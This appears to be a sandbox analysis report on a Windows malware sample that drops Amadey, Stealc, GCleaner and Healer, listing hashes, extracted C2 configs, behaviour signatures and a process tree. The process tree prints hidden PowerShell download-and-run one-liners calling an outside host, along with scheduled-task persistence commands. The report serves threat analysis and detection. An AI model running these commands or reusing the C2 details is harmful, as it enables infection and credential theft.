Overview

overview

10

Static

static

5

9a720cb02a...47.exe

windows7-x64

10

9a720cb02a...47.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    05/03/2025, 13:56

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    9a720cb02a041ae9cab65c195b2bd32cf017a89d386c0e2344077eb97d407547.exe

  • Size

    938KB

  • MD5

    58d757fdef2c03ae9e2b9fecb544d1ce

  • SHA1

    6eb6be030b0bb90d928592d22d67b20773e7ebba

  • SHA256

    9a720cb02a041ae9cab65c195b2bd32cf017a89d386c0e2344077eb97d407547

  • SHA512

    60adfb3953c578cacc299edc18eb311868d93024ecdbe282a1ae1388de01c180400acabf7631e648070a89f89f310b1b73b78f36d93aa0d5658cbaaea139b894

  • SSDEEP

    24576:NqDEvCTbMWu7rQYlBQcBiT6rprG8a0Su:NTvC/MTQYxsWR7a0S

Score
10/10
amadeygcleanerhealerstealc092155trumpcredential_accessdefense_evasiondiscoverydropperevasionexecutionloaderpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 2 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 12 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Download via BitsAdmin 1 TTPs 3 IoCs
    dropper
  • Downloads MZ/PE file 25 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Uses browser remote debugging 2 TTPs 8 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 24 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 28 IoCs
  • Identifies Wine through registry keys 2 TTPs 12 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 3 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of FindShellTrayWindow 23 IoCs
  • Suspicious use of SendNotifyMessage 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\9a720cb02a041ae9cab65c195b2bd32cf017a89d386c0e2344077eb97d407547.exe
    "C:\Users\Admin\AppData\Local\Temp\9a720cb02a041ae9cab65c195b2bd32cf017a89d386c0e2344077eb97d407547.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2572
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn zMKRImaJFmJ /tr "mshta C:\Users\Admin\AppData\Local\Temp\CIh2xzNV3.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn zMKRImaJFmJ /tr "mshta C:\Users\Admin\AppData\Local\Temp\CIh2xzNV3.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1776
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\CIh2xzNV3.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2380
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'VAXN0Q6WR7KCPJARINZCAPWOO4EWUDFL.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2180
        • C:\Users\Admin\AppData\Local\TempVAXN0Q6WR7KCPJARINZCAPWOO4EWUDFL.EXE
          "C:\Users\Admin\AppData\Local\TempVAXN0Q6WR7KCPJARINZCAPWOO4EWUDFL.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2772
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Loads dropped DLL
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2024
            • C:\Users\Admin\AppData\Local\Temp\10102370101\SvhQA35.exe
              "C:\Users\Admin\AppData\Local\Temp\10102370101\SvhQA35.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:808
              • C:\Users\Admin\AppData\Local\Temp\onefile_808_133856566404360000\chromium.exe
                C:\Users\Admin\AppData\Local\Temp\10102370101\SvhQA35.exe
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1852
            • C:\Users\Admin\AppData\Local\Temp\10102580101\0e76db166d.exe
              "C:\Users\Admin\AppData\Local\Temp\10102580101\0e76db166d.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:1276
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c schtasks /create /tn 5BUGdmaNCxq /tr "mshta C:\Users\Admin\AppData\Local\Temp\hh2sfa4Yp.hta" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2260
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn 5BUGdmaNCxq /tr "mshta C:\Users\Admin\AppData\Local\Temp\hh2sfa4Yp.hta" /sc minute /mo 25 /ru "Admin" /f
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:1312
              • C:\Windows\SysWOW64\mshta.exe
                mshta C:\Users\Admin\AppData\Local\Temp\hh2sfa4Yp.hta
                7⤵
                • System Location Discovery: System Language Discovery
                • Modifies Internet Explorer settings
                • Suspicious use of WriteProcessMemory
                PID:2800
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZNYAGMANXOY6YFQWOEYDEFQHKJHYFJ2Z.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1152
                  • C:\Users\Admin\AppData\Local\TempZNYAGMANXOY6YFQWOEYDEFQHKJHYFJ2Z.EXE
                    "C:\Users\Admin\AppData\Local\TempZNYAGMANXOY6YFQWOEYDEFQHKJHYFJ2Z.EXE"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2644
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Temp\10102590121\am_no.cmd" "
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2840
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 2
                7⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:2612
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:988
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1760
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:532
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:264
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:1756
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1192
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /tn "fW3iKmaDJtG" /tr "mshta \"C:\Temp\KHPgV2oTf.hta\"" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:3056
              • C:\Windows\SysWOW64\mshta.exe
                mshta "C:\Temp\KHPgV2oTf.hta"
                7⤵
                • System Location Discovery: System Language Discovery
                • Modifies Internet Explorer settings
                PID:2792
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2028
                  • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                    "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious behavior: EnumeratesProcesses
                    PID:760
            • C:\Users\Admin\AppData\Local\Temp\10103110101\978898b013.exe
              "C:\Users\Admin\AppData\Local\Temp\10103110101\978898b013.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1028
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                7⤵
                • Downloads MZ/PE file
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:1600
            • C:\Users\Admin\AppData\Local\Temp\10103120101\51c7931c48.exe
              "C:\Users\Admin\AppData\Local\Temp\10103120101\51c7931c48.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:3004
              • C:\Users\Admin\AppData\Local\Temp\10103120101\51c7931c48.exe
                "C:\Users\Admin\AppData\Local\Temp\10103120101\51c7931c48.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:2800
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3004 -s 508
                7⤵
                • Loads dropped DLL
                • Program crash
                PID:1928
            • C:\Users\Admin\AppData\Local\Temp\10103130101\14107dc962.exe
              "C:\Users\Admin\AppData\Local\Temp\10103130101\14107dc962.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2328
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                7⤵
                • Downloads MZ/PE file
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:1980
            • C:\Users\Admin\AppData\Local\Temp\10103140101\5ba84e592b.exe
              "C:\Users\Admin\AppData\Local\Temp\10103140101\5ba84e592b.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              PID:1360
            • C:\Users\Admin\AppData\Local\Temp\10103150101\e8fc92f40f.exe
              "C:\Users\Admin\AppData\Local\Temp\10103150101\e8fc92f40f.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              PID:1088
            • C:\Users\Admin\AppData\Local\Temp\10103160101\4973aedce1.exe
              "C:\Users\Admin\AppData\Local\Temp\10103160101\4973aedce1.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1684
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 1204
                7⤵
                • Loads dropped DLL
                • Program crash
                PID:2172
            • C:\Users\Admin\AppData\Local\Temp\10103170101\bc5700b2c7.exe
              "C:\Users\Admin\AppData\Local\Temp\10103170101\bc5700b2c7.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Downloads MZ/PE file
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Loads dropped DLL
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:928
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                7⤵
                • Uses browser remote debugging
                • Enumerates system info in registry
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                PID:2836
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6fc9758,0x7fef6fc9768,0x7fef6fc9778
                  8⤵
                    PID:1928
                  • C:\Windows\system32\ctfmon.exe
                    ctfmon.exe
                    8⤵
                      PID:2652
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1084 --field-trial-handle=1128,i,14854914207755404350,10017691915617191467,131072 /prefetch:2
                      8⤵
                        PID:880
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1488 --field-trial-handle=1128,i,14854914207755404350,10017691915617191467,131072 /prefetch:8
                        8⤵
                          PID:1360
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1584 --field-trial-handle=1128,i,14854914207755404350,10017691915617191467,131072 /prefetch:8
                          8⤵
                            PID:992
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2240 --field-trial-handle=1128,i,14854914207755404350,10017691915617191467,131072 /prefetch:1
                            8⤵
                            • Uses browser remote debugging
                            PID:2196
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2480 --field-trial-handle=1128,i,14854914207755404350,10017691915617191467,131072 /prefetch:1
                            8⤵
                            • Uses browser remote debugging
                            PID:1192
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2496 --field-trial-handle=1128,i,14854914207755404350,10017691915617191467,131072 /prefetch:1
                            8⤵
                            • Uses browser remote debugging
                            PID:2304
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1372 --field-trial-handle=1128,i,14854914207755404350,10017691915617191467,131072 /prefetch:2
                            8⤵
                              PID:2868
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                            7⤵
                            • Uses browser remote debugging
                            • Enumerates system info in registry
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of FindShellTrayWindow
                            PID:3280
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef4fc9758,0x7fef4fc9768,0x7fef4fc9778
                              8⤵
                                PID:3292
                              • C:\Windows\system32\ctfmon.exe
                                ctfmon.exe
                                8⤵
                                  PID:3460
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1080 --field-trial-handle=1244,i,15605378753839231940,12831261769223089488,131072 /prefetch:2
                                  8⤵
                                    PID:3508
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1244,i,15605378753839231940,12831261769223089488,131072 /prefetch:8
                                    8⤵
                                      PID:3664
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1584 --field-trial-handle=1244,i,15605378753839231940,12831261769223089488,131072 /prefetch:8
                                      8⤵
                                        PID:3684
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2316 --field-trial-handle=1244,i,15605378753839231940,12831261769223089488,131072 /prefetch:1
                                        8⤵
                                        • Uses browser remote debugging
                                        PID:3896
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2696 --field-trial-handle=1244,i,15605378753839231940,12831261769223089488,131072 /prefetch:1
                                        8⤵
                                        • Uses browser remote debugging
                                        PID:3200
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2724 --field-trial-handle=1244,i,15605378753839231940,12831261769223089488,131072 /prefetch:1
                                        8⤵
                                        • Uses browser remote debugging
                                        PID:3224
